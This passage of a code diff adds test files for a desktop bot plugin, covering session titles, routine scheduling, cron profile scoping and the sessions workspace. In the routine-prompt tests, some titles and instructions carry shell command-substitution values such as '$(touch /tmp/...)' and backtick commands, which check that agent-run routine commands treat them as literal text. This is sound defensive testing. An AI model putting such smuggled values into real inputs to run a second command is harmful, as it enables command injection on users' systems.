+ assert.equal(r.__generatedSessionTitle({ title: 'Weekly review' }, 'some preview'), 'Weekly review')
+})
+
+test('generatedSessionTitle: invents a label from the preview for generic titles', () => {
+ const r = runtime()
+ assert.equal(r.__generatedSessionTitle({ title: 'Bot Chat' }, 'The tailnet proxy binds 100.64.0.1'), 'The tailnet proxy binds 100.64.0.1')
+})
+
+test('generatedSessionTitle: strips the bot-to-bot prefix before generating', () => {
+ const r = runtime()
+ const out = r.__generatedSessionTitle({ title: '' }, 'Message from 🤖 manager (@manager): Learn-share: skill installed')
+ assert.match(out, /Learn-share/)
+ assert.doesNotMatch(out, /Message from/)
+})
+
+test('generatedSessionTitle: caps the generated label length', () => {
+ const r = runtime()
+ const out = r.__generatedSessionTitle({ title: '' }, 'this is a very long preview that goes on and on and on about something or other entirely')
+ assert.ok(out.length <= 34, `expected <= 34 chars, got ${out.length}: ${out}`)
+})
+
+// ── render smoke: BotRow must paint the new row furniture without throwing ──
+
+function renderRuntime() {
+ const atom = value => ({ get: () => value, set: () => undefined })
+ const jsx = (type, props = {}) => ({ type, props })
+ const context = {
+ atom,
+ jsx,
+ jsxs: jsx,
+ cn: (...args) => args.filter(Boolean).join(' '),
+ Button: 'Button',
+ BotFace: 'BotFace',
+ Codicon: 'Codicon',
+ ContextMenu: 'ContextMenu',
+ ContextMenuContent: 'ContextMenuContent',
+ ContextMenuItem: 'ContextMenuItem',
+ ContextMenuSeparator: 'ContextMenuSeparator',
+ ContextMenuTrigger: 'ContextMenuTrigger',
+ haptic: () => undefined,
+ host: {
+ state: {
+ profile: { get: () => 'scribe', listen: () => undefined },
+ gateway: { get: () => 'idle', listen: () => undefined }
+ },
+ request: () => Promise.resolve({ sessions: [] }),
+ openSession: () => undefined,
+ newChat: () => undefined,
+ navigate: () => undefined
+ },
+ profileColor: () => '#8b5cf6',
+ queryClient: { invalidateQueries: () => undefined },
+ relativeTime: () => 'now',
+ useQuery: () => ({}),
+ useValue: value => (value?.get ? value.get() : value),
+ useState: value => [value, () => undefined],
+ useEffect: () => undefined,
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } }
+ }
+ const code = source
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__BotRow = BotRow;')
+ vm.runInNewContext(code, context)
+ return context
+}
+
+function textOf(node) {
+ if (node == null || typeof node === 'boolean') return ''
+ if (typeof node === 'string' || typeof node === 'number') return String(node)
+ if (Array.isArray(node)) return node.map(textOf).join(' ')
+ if (typeof node === 'object') {
+ if (node.props) return textOf(node.props.children ?? '')
+ return Object.values(node).map(textOf).join(' ')
+ }
+ return ''
+}
+
+const DM_BOT = {
+ name: 'scribe',
+ title: 'Scribe',
+ description: '',
+ last_session: {
+ id: 's1',
+ title: 'Bot Chat',
+ preview: 'Message from 🤖 manager (@manager): Learn-share: skill installed in your profile',
+ last_active: Math.floor(Date.now() / 1000) - 5
+ }
+}
+
+test('render: BotRow shows the sender badge and stripped DM preview', () => {
+ const r = renderRuntime()
+ const tree = r.__BotRow({ bot: DM_BOT, onEdit: () => undefined })
+ const text = textOf(tree)
+ assert.match(text, /@manager/)
+ assert.match(text, /Learn-share/)
+ assert.doesNotMatch(text, /Message from/)
+})
+
+test('render: BotRow renders plain previews without a badge', () => {
+ const r = renderRuntime()
+ const tree = r.__BotRow({
+ bot: { name: 'ops', title: 'Ops', description: '', last_session: { id: 's2', title: 'Weekly review', preview: 'All hosts are healthy', last_active: 1_700_000_000 } },
+ onEdit: () => undefined
+ })
+ const text = textOf(tree)
+ assert.match(text, /All hosts are healthy/)
+ assert.doesNotMatch(text, /@manager/)
+ // The inline session-history chip is gone — stored history lives in the
+ // Sessions workspace (context menu), so the title no longer renders inline.
+ assert.doesNotMatch(text, /Weekly review/)
+})
+
+test('render: BotRow tolerates a fresh bot with no sessions yet', () => {
+ const r = renderRuntime()
+ const tree = r.__BotRow({ bot: { name: 'newbie', title: '', description: 'Fresh bot' }, onEdit: () => undefined })
+ const text = textOf(tree)
+ assert.match(text, /Fresh bot/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/routine-owner.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/routine-owner.test.mjs
new file mode 100644
index 00000000000..934f5292f3f
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/routine-owner.test.mjs
@@ -0,0 +1,86 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+const plain = value => JSON.parse(JSON.stringify(value))
+
+function load() {
+ const values = new Map()
+ const atom = initial => {
+ const slot = {
+ get: () => values.get(slot),
+ set: value => values.set(slot, typeof value === 'function' ? value(values.get(slot)) : value)
+ }
+ values.set(slot, initial)
+ return slot
+ }
+ const invalidations = []
+ const context = {
+ atom,
+ host: {
+ state: {
+ profile: { get: () => 'ops', listen: () => undefined },
+ gateway: { get: () => 'open', listen: () => undefined }
+ },
+ request: async () => ({ jobs: [] }),
+ notify: () => undefined,
+ notifyError: () => undefined
+ },
+ queryClient: {
+ invalidateQueries: async options => invalidations.push(options)
+ },
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__routineOwners = { routineCreateTarget, invalidateRoutineOwner };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return { ...context, invalidations }
+}
+
+test('routine creation keeps its captured owner while another bot becomes active', () => {
+ const runtime = load()
+ assert.equal(runtime.__routineOwners.routineCreateTarget('ops', 'ops'), 'ops')
+ assert.equal(runtime.__routineOwners.routineCreateTarget('ops', 'default'), 'ops')
+ assert.equal(runtime.__routineOwners.routineCreateTarget(null, 'default'), 'default')
+})
+
+test('routine mutation invalidates only its immutable owner cache', async () => {
+ const runtime = load()
+ await runtime.__routineOwners.invalidateRoutineOwner('ops')
+ assert.deepEqual(plain(runtime.invalidations), [{
+ queryKey: ['hermes-bots', 'routines', 'ops'],
+ exact: true
+ }])
+})
+
+test('source contract: row mutations invalidate the profile that owned the request', () => {
+ assert.match(
+ pluginSource,
+ /function RoutineRow\(\{ job, profile \}\)[\s\S]*await host\.request\('cron\.manage', \{ action, name: job\.job_id, \.\.\.\(profile \? \{ profile \} : \{\}\) \}\)[\s\S]*await invalidateRoutineOwner\(profile\)/
+ )
+ assert.doesNotMatch(pluginSource, /function RoutineRow\(\{ job, onChanged, profile \}\)/)
+})
+
+test('source contract: create mutations and dialog state retain one owner', () => {
+ assert.match(
+ pluginSource,
+ /function CreateRoutineDialog\(\{ bot, open, onClose \}\)[\s\S]*await host\.request\('cron\.manage', \{[\s\S]*\.\.\.\(bot \? \{ profile: bot \} : \{\}\)[\s\S]*await invalidateRoutineOwner\(bot\)/
+ )
+ assert.match(pluginSource, /const \[createOwner, setCreateOwner\] = useState\(null\)/)
+ assert.match(pluginSource, /const openCreate = \(\) => \{[\s\S]*setCreateOwner\(bot\)[\s\S]*setCreateOpen\(true\)/)
+ assert.match(pluginSource, /const createTarget = routineCreateTarget\(createOwner, bot\)/)
+ assert.match(pluginSource, /key: createTarget/)
+ assert.match(pluginSource, /bot: createTarget/)
+ assert.doesNotMatch(pluginSource, /setCreateOwner\(owner =>/)
+ assert.doesNotMatch(pluginSource, /onChanged: \(\) => void refetch\(\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/routine-prompt.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/routine-prompt.test.mjs
new file mode 100644
index 00000000000..79e094d81fe
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/routine-prompt.test.mjs
@@ -0,0 +1,190 @@
+import assert from 'node:assert/strict'
+import { spawnSync } from 'node:child_process'
+import { existsSync, readFileSync, rmSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load(request = async () => ({ jobs: [] })) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom, PALETTE_AREA: 'palette', COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: {
+ request,
+ state: {
+ profile: { listen: () => undefined },
+ gateway: { listen: () => undefined }
+ }
+ }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat(
+ '\nglobalThis.__routines = { isLegacyDelegatedRoutine, loadRoutines, normalizedProfileName, routineInputError, routinePrompt };\n'
+ )
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return context
+}
+
+test('unit: direct execution is selected for the active bot profile', () => {
+ const { __routines } = load()
+ assert.equal(__routines.normalizedProfileName(' Default '), 'default')
+ assert.equal(__routines.routinePrompt('default', 'Health', 'Collect status', ' DEFAULT '), 'Collect status')
+})
+
+test('integration: a different active profile retains the delegated routine wrapper', () => {
+ const { __routines } = load()
+ const prompt = __routines.routinePrompt('research', 'Digest', 'Summarize findings', 'default')
+ assert.match(prompt, /hermes -p 'research' chat/)
+ assert.match(prompt, /\[Scheduled routine\] Summarize findings/)
+})
+
+test('security: delegated routine arguments remain literal shell values', () => {
+ const { __routines } = load()
+ const title = 'Audit $(printf TITLE_EXPANDED) `printf TITLE_TICK` \'quoted\''
+ const instruction = 'Line one $(printf TASK_EXPANDED) `printf TASK_TICK`\nLine two \'quoted\''
+ const prompt = __routines.routinePrompt('research', title, instruction, 'default')
+ const command = prompt.slice(prompt.indexOf('hermes '), prompt.lastIndexOf('\n\nIf the command'))
+ const script = `hermes() { printf '%s\\037' "$@"; }\n${command}`
+ const result = spawnSync('sh', ['-c', script], { encoding: 'utf8' })
+
+ assert.equal(result.status, 0, result.stderr)
+ assert.deepEqual(result.stdout.split('\x1f').slice(0, -1), [
+ '-p',
+ 'research',
+ 'chat',
+ '-c',
+ `Routine: ${title}`,
+ '-q',
+ `[Scheduled routine] ${instruction}`
+ ])
+})
+
+test('security: upgrade pauses persisted delegated routines before they can execute', async () => {
+ const titleSentinel = `/tmp/hermes-bot-mode-title-${process.pid}`
+ const taskSentinel = `/tmp/hermes-bot-mode-task-${process.pid}`
+ rmSync(titleSentinel, { force: true })
+ rmSync(taskSentinel, { force: true })
+
+ const title = `Audit $(touch ${titleSentinel})`
+ const instruction = `Inspect $(touch ${taskSentinel})`
+ const oldPrompt =
+ `You are running the scheduled routine "${title}" for agent 'research'. ` +
+ `Execute it AS that agent so the run lands in its own history: run this in the terminal and relay the output:\n\n` +
+ `hermes -p research chat -c "Routine: ${title}" -q ${JSON.stringify(`[Scheduled routine] ${instruction}`)}\n\n` +
+ `If the command fails, report the error instead.`
+ const persisted = JSON.parse(
+ JSON.stringify({
+ job_id: 'legacy-job',
+ name: '[bot:research] Audit',
+ prompt: oldPrompt,
+ prompt_preview: oldPrompt.slice(0, 100),
+ schedule: 'every 2h',
+ enabled: true,
+ state: 'scheduled',
+ repeat: { times: 3, completed: 1 }
+ })
+ )
+ const requests = []
+ const runtime = load(async (method, params) => {
+ requests.push([method, params])
+
+ if (params.action === 'list') {
+ return { jobs: [persisted] }
+ }
+
+ if (params.action === 'pause' && params.name === persisted.job_id) {
+ persisted.enabled = false
+ persisted.state = 'paused'
+ return { success: true }
+ }
+
+ throw new Error(`Unexpected request: ${method} ${JSON.stringify(params)}`)
+ })
+
+ const result = await runtime.__routines.loadRoutines()
+ assert.deepEqual(JSON.parse(JSON.stringify(requests)), [
+ ['cron.manage', { action: 'list', include_disabled: true }],
+ ['cron.manage', { action: 'pause', name: 'legacy-job' }]
+ ])
+ assert.equal(result.jobs[0].job_id, 'legacy-job')
+ assert.equal(result.jobs[0].schedule, 'every 2h')
+ assert.deepEqual(result.jobs[0].repeat, { times: 3, completed: 1 })
+ assert.equal(result.jobs[0].enabled, false)
+ assert.equal(result.jobs[0].state, 'paused')
+ assert.equal(existsSync(titleSentinel), false)
+ assert.equal(existsSync(taskSentinel), false)
+
+ await runtime.__routines.loadRoutines()
+ assert.deepEqual(JSON.parse(JSON.stringify(requests.slice(2))), [
+ ['cron.manage', { action: 'list', include_disabled: true }]
+ ])
+ assert.match(pluginSource, /disabled: busy \|\| legacyUnsafe/)
+ assert.match(pluginSource, /Paused for security: delete and recreate this legacy cronjob/)
+
+ const recreated = runtime.__routines.routinePrompt('research', title, instruction, 'default')
+ assert.equal(runtime.__routines.isLegacyDelegatedRoutine({ ...persisted, prompt_preview: recreated.slice(0, 100) }), false)
+ const command = recreated.slice(recreated.indexOf('hermes '), recreated.lastIndexOf('\n\nIf the command'))
+ const script = `hermes() { printf '%s\\037' "$@"; }\n${command}`
+ const executed = spawnSync('sh', ['-c', script], { encoding: 'utf8' })
+ assert.equal(executed.status, 0, executed.stderr)
+ assert.deepEqual(executed.stdout.split('\x1f').slice(0, -1), [
+ '-p',
+ 'research',
+ 'chat',
+ '-c',
+ `Routine: ${title}`,
+ '-q',
+ `[Scheduled routine] ${instruction}`
+ ])
+ assert.equal(existsSync(titleSentinel), false)
+ assert.equal(existsSync(taskSentinel), false)
+})
+
+test('robustness: routine input rejects NUL before cron creation', () => {
+ const { __routines } = load()
+ assert.equal(__routines.routineInputError('Normal title', 'Normal instruction'), null)
+ assert.match(__routines.routineInputError('Bad\0title', 'Normal instruction'), /NUL.*U\+0000/)
+ assert.match(__routines.routineInputError('Normal title', 'Bad\0instruction'), /NUL.*U\+0000/)
+ assert.match(
+ pluginSource,
+ /const inputError = routineInputError\(title, task\)[\s\S]*if \(inputError\)[\s\S]*setError\(inputError\)[\s\S]*return[\s\S]*host\.request\('cron\.manage'/
+ )
+})
+
+test('regression: Create Cronjob passes the active profile to routinePrompt', () => {
+ assert.match(pluginSource, /prompt: routinePrompt\(bot, title, task, activeProfile\)/)
+ const { __routines } = load()
+ const instruction = 'Keep "quoted" output intact'
+ assert.equal(__routines.routinePrompt('ops', 'Check', instruction, 'ops'), instruction)
+ assert.doesNotMatch(__routines.routinePrompt('ops', 'Check', instruction, 'ops'), /hermes -p/)
+})
+
+test('system: the direct-file plugin still registers its panes', () => {
+ const runtime = load()
+ const registered = []
+ runtime.plugin.register({ storage: { get: () => null }, register: entry => registered.push(entry) })
+ assert.equal(registered.some(entry => entry.id === 'pane'), true)
+ assert.equal(registered.some(entry => entry.id === 'routines'), true)
+})
+
+test('performance: direct prompt selection remains bounded', t => {
+ const { __routines } = load()
+ const start = Date.now()
+ for (let index = 0; index < 10000; index += 1) __routines.routinePrompt('ops', 'Check', 'Inspect', 'ops')
+ const elapsed = Date.now() - start
+ t.diagnostic(`10,000 direct prompt selections: ${elapsed} ms`)
+ assert.ok(elapsed < 1000)
+})
\ No newline at end of file
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/routines-error.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/routines-error.test.mjs
new file mode 100644
index 00000000000..8510c557d87
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/routines-error.test.mjs
@@ -0,0 +1,63 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load() {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: { state: { profile: { listen: () => undefined } } }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__api = { selectRoutineJobs };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return context
+}
+
+const jobs = [
+ { name: '[bot:ops] Morning', job_id: '1' },
+ { name: '[bot:research] Digest', job_id: '2' }
+]
+
+test('unit: a live list is filtered to the current bot', () => {
+ const { jobs: shown, live } = load().__api.selectRoutineJobs({ jobs }, null, [], 'ops')
+ assert.equal(live.length, 2)
+ assert.equal(shown.length, 1)
+ assert.equal(shown[0].job_id, '1')
+})
+
+test('unit: a failed refresh keeps the last good list', () => {
+ const view = load().__api.selectRoutineJobs(undefined, new Error('down'), jobs, 'ops')
+ assert.equal(view.live, null)
+ assert.equal(view.all.length, 2)
+ assert.equal(view.jobs.length, 1)
+})
+
+test('regression: a true empty list is still empty', () => {
+ const view = load().__api.selectRoutineJobs({ jobs: [] }, null, jobs, 'ops')
+ assert.ok(view.live)
+ assert.equal(view.jobs.length, 0)
+})
+
+test('regression: a first load error has no jobs to show', () => {
+ const view = load().__api.selectRoutineJobs(undefined, new Error('down'), [], 'ops')
+ assert.equal(view.all.length, 0)
+ assert.equal(view.jobs.length, 0)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/routines-pause-failure.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/routines-pause-failure.test.mjs
new file mode 100644
index 00000000000..b81fa7cee3a
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/routines-pause-failure.test.mjs
@@ -0,0 +1,99 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+// loadRoutines pauses persisted delegated routines inline before returning the
+// list. A single pause RPC failing used to reject the whole query — the pane
+// showed "Could not load cronjobs" (or the stale notice) over a list that
+// loaded fine, and the 20s poll retried the failing pause inside a failing
+// query forever. Each pause now swallows its own error, and the paused-state
+// overlay only claims jobs the gateway actually paused.
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+function load(request) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = { get: () => values.get(slot), set: value => values.set(slot, value) }
+ values.set(slot, initial)
+ return slot
+ }
+ const context = {
+ atom,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } },
+ host: { request, state: { profile: { listen: () => undefined } } }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat('\nglobalThis.__routines = { loadRoutines };\n')
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return context
+}
+
+const LEGACY_PREFIX = 'You are running the scheduled routine "'
+
+test('regression: a failed legacy-routine pause does not fail the routines list', async () => {
+ const jobs = [
+ { job_id: 'legacy-fails', name: '[bot:research] Audit', prompt_preview: `${LEGACY_PREFIX}Audit" for agent 'research'`, enabled: true, state: 'scheduled' },
+ { job_id: 'legacy-pauses', name: '[bot:research] Build', prompt_preview: `${LEGACY_PREFIX}Build" for agent 'research'`, enabled: true, state: 'scheduled' },
+ { job_id: 'normal', name: '[bot:research] Report', prompt: 'Summarize the day', enabled: true, state: 'scheduled' }
+ ]
+ const requests = []
+ const runtime = load(async (method, params) => {
+ requests.push([method, params])
+
+ if (params.action === 'list') {
+ return { jobs }
+ }
+ if (params.action === 'pause' && params.name === 'legacy-fails') {
+ throw new Error('gateway rejected the pause')
+ }
+ if (params.action === 'pause') {
+ return { success: true }
+ }
+ throw new Error(`Unexpected request: ${method} ${JSON.stringify(params)}`)
+ })
+
+ // Pre-fix this rejected with the pause error.
+ const result = await runtime.__routines.loadRoutines('research')
+ assert.equal(result.jobs.length, 3)
+
+ const byId = Object.fromEntries(result.jobs.map(job => [job.job_id, job]))
+ // Only the pause the gateway confirmed is overlaid as paused; the failed
+ // one keeps its server state and is retried on the next poll.
+ assert.equal(byId['legacy-fails'].enabled, true)
+ assert.equal(byId['legacy-fails'].state, 'scheduled')
+ assert.equal(byId['legacy-pauses'].enabled, false)
+ assert.equal(byId['legacy-pauses'].state, 'paused')
+ assert.equal(byId.normal.enabled, true)
+
+ assert.deepEqual(
+ requests.map(([method, params]) => [method, params.action, params.name]),
+ [
+ ['cron.manage', 'list', undefined],
+ ['cron.manage', 'pause', 'legacy-fails'],
+ ['cron.manage', 'pause', 'legacy-pauses']
+ ]
+ )
+})
+
+test('regression: all-pauses-failing still resolves with the list', async () => {
+ const runtime = load(async (method, params) => {
+ if (params.action === 'list') {
+ return { jobs: [{ job_id: 'only', name: '[bot:ops] Watch', prompt_preview: `${LEGACY_PREFIX}Watch" for agent 'ops'`, enabled: true, state: 'scheduled' }] }
+ }
+ throw new Error('gateway down')
+ })
+
+ const result = await runtime.__routines.loadRoutines('ops')
+ assert.equal(result.jobs[0].job_id, 'only')
+ assert.equal(result.jobs[0].enabled, true)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/routines-profile-scope.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/routines-profile-scope.test.mjs
new file mode 100644
index 00000000000..bac16adc8c3
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/routines-profile-scope.test.mjs
@@ -0,0 +1,31 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+
+// #37: the Routines pane must scope cron.manage to the bot's OWN cron store via
+// the core RPC's optional `profile` param (a bot's profile can run a separate
+// gateway / keep cron in ~/.hermes/profiles/<name>/cron/). Older gateways
+// ignore the unknown param, so the [bot:] tag filter stays the fallback.
+
+const source = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+
+test('loadRoutines forwards a profile scope to cron.manage list + pause', () => {
+ const fn = source.slice(source.indexOf('async function loadRoutines('), source.indexOf('function useRoutines('))
+ assert.match(fn, /const scope = profile \? \{ profile \} : \{\}/)
+ // list call spreads the scope
+ assert.match(fn, /action: 'list', include_disabled: true, \.\.\.scope/)
+ // legacy-pause call spreads the scope too
+ assert.match(fn, /action: 'pause', name: job\.job_id, \.\.\.scope/)
+})
+
+test('useRoutines is bot-keyed so switching bots refetches', () => {
+ assert.match(source, /queryKey: \[\.\.\.ROUTINES_KEY, profile \|\| ''\]/)
+ assert.match(source, /queryFn: \(\) => loadRoutines\(profile\)/)
+})
+
+test('RoutineRow toggle and create forward the profile scope', () => {
+ // RoutineRow pause/resume
+ assert.match(source, /action, name: job\.job_id, \.\.\.\(profile \? \{ profile \} : \{\}\)/)
+ // create
+ assert.match(source, /\.\.\.\(bot \? \{ profile: bot \} : \{\}\)/)
+})
diff --git a/apps/desktop/src/plugins/hermes-bots/tests/session-workspace.test.mjs b/apps/desktop/src/plugins/hermes-bots/tests/session-workspace.test.mjs
new file mode 100644
index 00000000000..5aca6dd7f10
--- /dev/null
+++ b/apps/desktop/src/plugins/hermes-bots/tests/session-workspace.test.mjs
@@ -0,0 +1,144 @@
+import assert from 'node:assert/strict'
+import { readFileSync } from 'node:fs'
+import test from 'node:test'
+import vm from 'node:vm'
+
+const pluginSource = readFileSync(new URL('../plugin.js', import.meta.url), 'utf8')
+const plain = value => JSON.parse(JSON.stringify(value))
+
+function load({ profile = 'ops', request, openSession } = {}) {
+ const values = new Map()
+ const atom = initial => {
+ const slot = {
+ get: () => values.get(slot),
+ set: value => values.set(slot, typeof value === 'function' ? value(values.get(slot)) : value)
+ }
+ values.set(slot, initial)
+ return slot
+ }
+ const calls = []
+ const host = {
+ state: {
+ profile: { get: () => profile, listen: () => undefined },
+ gateway: { get: () => 'open', listen: () => undefined }
+ },
+ request: async (method, params) => {
+ calls.push([method, params])
+ return request?.(method, params)
+ },
+ openSession: async (...args) => {
+ calls.push(['openSession', ...args])
+ return openSession?.(...args)
+ },
+ newChat: (...args) => calls.push(['newChat', ...args]),
+ notify: () => undefined,
+ notifyError: () => undefined
+ }
+ const context = {
+ atom,
+ host,
+ PALETTE_AREA: 'palette',
+ COMPOSER_AREAS: { middleware: 'middleware' },
+ document: { getElementById: () => null, createElement: () => ({}), head: { appendChild: () => undefined } }
+ }
+ const source = pluginSource
+ .replace(/^import\s+\*\s+as\s+sdk\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^import\s+\{[\s\S]*?\}\s+from '@hermes\/plugin-sdk'\r?\n/m, '')
+ .replace(/^const \{ McpTab, ToolsetConfigPanel \} = sdk\r?\n/m, '')
+ .replace(/^import .* from 'react'\r?\n/m, '')
+ .replace(/^import .* from 'react\/jsx-runtime'\r?\n/m, '')
+ .replace('export default {', 'globalThis.plugin = {')
+ .concat(`\nglobalThis.__sessions = {
+ openBotSessionsWorkspace,
+ openProfileSession,
+ filterProfileSessions,
+ $botSessionsWorkspace,
+ $botSelectedSessions,
+ $sessionsGatewayGeneration,
+ handleSessionsGatewayTransition
+ };\n`)
+ vm.runInNewContext(source, context, { filename: 'plugin.js' })
+ return { ...context, calls }
+}
+
+test('sessions workspace: selecting the secondary workspace does not navigate', () => {
+ const runtime = load()
+ runtime.__sessions.openBotSessionsWorkspace({ name: 'ops' })
+ assert.equal(runtime.__sessions.$botSessionsWorkspace.get(), 'ops')
+ assert.equal(runtime.calls.some(([method]) => method === 'openSession'), false)
+})
+
+test('sessions workspace: invalid profile names are ignored', () => {
+ const runtime = load()
+ runtime.__sessions.openBotSessionsWorkspace({ name: '../ops' })
+ assert.equal(runtime.__sessions.$botSessionsWorkspace.get(), null)
+})
+
+test('sessions workspace: filtering searches title, preview, and source without privileged rows', () => {
+ const { filterProfileSessions } = load().__sessions
+ const rows = [
+ { id: 'named', title: 'Oversight', preview: 'ordinary user session', source: 'user' },
+ { id: 'deploy', title: 'Deploy API', preview: 'shipping', source: 'cli' },
+ { id: 'docs', title: 'Write docs', preview: 'guide', source: 'desktop' }
+ ]
+ assert.deepEqual(plain(filterProfileSessions(rows, '').map(row => row.id)), ['named', 'deploy', 'docs'])
+ assert.deepEqual(plain(filterProfileSessions(rows, 'ship').map(row => row.id)), ['deploy'])
+ assert.deepEqual(plain(filterProfileSessions(rows, 'DESKTOP').map(row => row.id)), ['docs'])
+})
+
+test('sessions workspace: opening a stored row uses profile-aware navigation and records selection', async () => {
+ const runtime = load({ profile: 'default' })
+ await runtime.__sessions.openProfileSession('ops', 'stored-123', 0)
+ assert.deepEqual(plain(runtime.calls), [['openSession', 'stored-123', { profile: 'ops' }]])
+ assert.equal(runtime.__sessions.$botSelectedSessions.get().ops, 'stored-123')
+})
+
+test('sessions workspace: malformed profile or session input is a no-op', async () => {
+ const runtime = load()
+ await runtime.__sessions.openProfileSession('../ops', 'stored-123', 0)
+ await runtime.__sessions.openProfileSession('ops', '', 0)
+ assert.deepEqual(runtime.calls, [])
+})
+
+test('sessions workspace: a gateway lifecycle change clears selection and rejects stale row clicks', async () => {
+ const runtime = load()
+ runtime.__sessions.$botSelectedSessions.set({ ops: 'stored-123' })
+ runtime.__sessions.handleSessionsGatewayTransition()
+ assert.equal(runtime.__sessions.$sessionsGatewayGeneration.get(), 1)
+ assert.deepEqual(plain(runtime.__sessions.$botSelectedSessions.get()), {})
+
+ await runtime.__sessions.openProfileSession('ops', 'stored-123', 0)
+ assert.deepEqual(runtime.calls, [])
+})
+
+test('sessions workspace: an in-flight open cannot restore selection after gateway replacement', async () => {
+ let runtime
+ runtime = load({
+ openSession: async () => runtime.__sessions.handleSessionsGatewayTransition()
+ })
+
+ await runtime.__sessions.openProfileSession('ops', 'stored-123', 0)
+ assert.equal(runtime.calls.length, 1)
